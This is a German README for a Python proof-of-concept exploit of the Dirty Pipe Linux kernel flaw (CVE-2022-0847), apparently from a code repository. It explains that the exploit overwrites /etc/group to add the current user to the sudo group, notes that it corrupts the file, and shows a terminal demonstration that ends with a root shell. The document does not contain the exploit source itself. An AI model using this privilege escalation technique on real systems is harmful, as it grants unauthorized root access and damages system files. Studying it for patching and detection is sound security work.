POC-Exploit zum Hinzufügen eines Benutzers zu Sudo für die Dirty-Pipe-Sicherheitslücke CVE-2022-0847

Dieses Repository basiert auf der Sicherheitslücke, dem Schreibvorgang und dem Exploit von Max Kellermann, alle zu finden hier.

Wie jeder andere musste ich die Gelegenheit nutzen, mit dem weltweit trivialsten zu reproduzierenden Privilegieneskalations-Exploit zu spielen. Der Blogbeitrag erklärt alles sehr gut.

Ich habe den Exploit nach Python übersetzt, um ein besseres Gefühl dafür zu bekommen. Es handelt sich jedoch um eine exakte Kopie des C-Exploits, in dem die Sudo-Privilegieneskalation fest codiert ist.

Erfordert

Python 3.10 (aufgrund der Verwendung von os.splice)

Schlechte Seiten

Beschädigt die Datei /etc/group, indem direkt in die Zeile geschrieben wird, die auf den Sudo-Eintrag folgt. Aber wenn du root bist, kannst du dies mit der Kopie beheben.

Legt eine Kopie von /etc/group unter /tmp/group_backup ab.

Demonstration

test@kali:/home/user/working$ whoami
test
test@kali:/home/user/working$ sudo whoami
test is not in the sudoers file.  This incident will be reported.
test@kali:/home/user/working$ python3.10 poc.py
[*] Dirty PIPE POC [*]
[*] Exploit will add test to sudoers
[*] Finding offset of sudo entry in /etc/group
[*] Found sudo group offset
[*] Confirmed it is not last.
[*] Opening /etc/group
[*] Opening PIPE
[*] Contaminating flags of pipe buffer
[*] 65536 bytes written to pipe
[*] 65536 bytes read from pipe
[*] Splicing byte from /etc/group to pipe
[*] Spliced 1 bytes
[*] Altering group to add test
[*] 6 bytes written to /etc/group
test@kali:/home/user/working$ su test
Password:
test@kali:/home/user/working$ sudo whoami
root
test@kali:/home/user/working$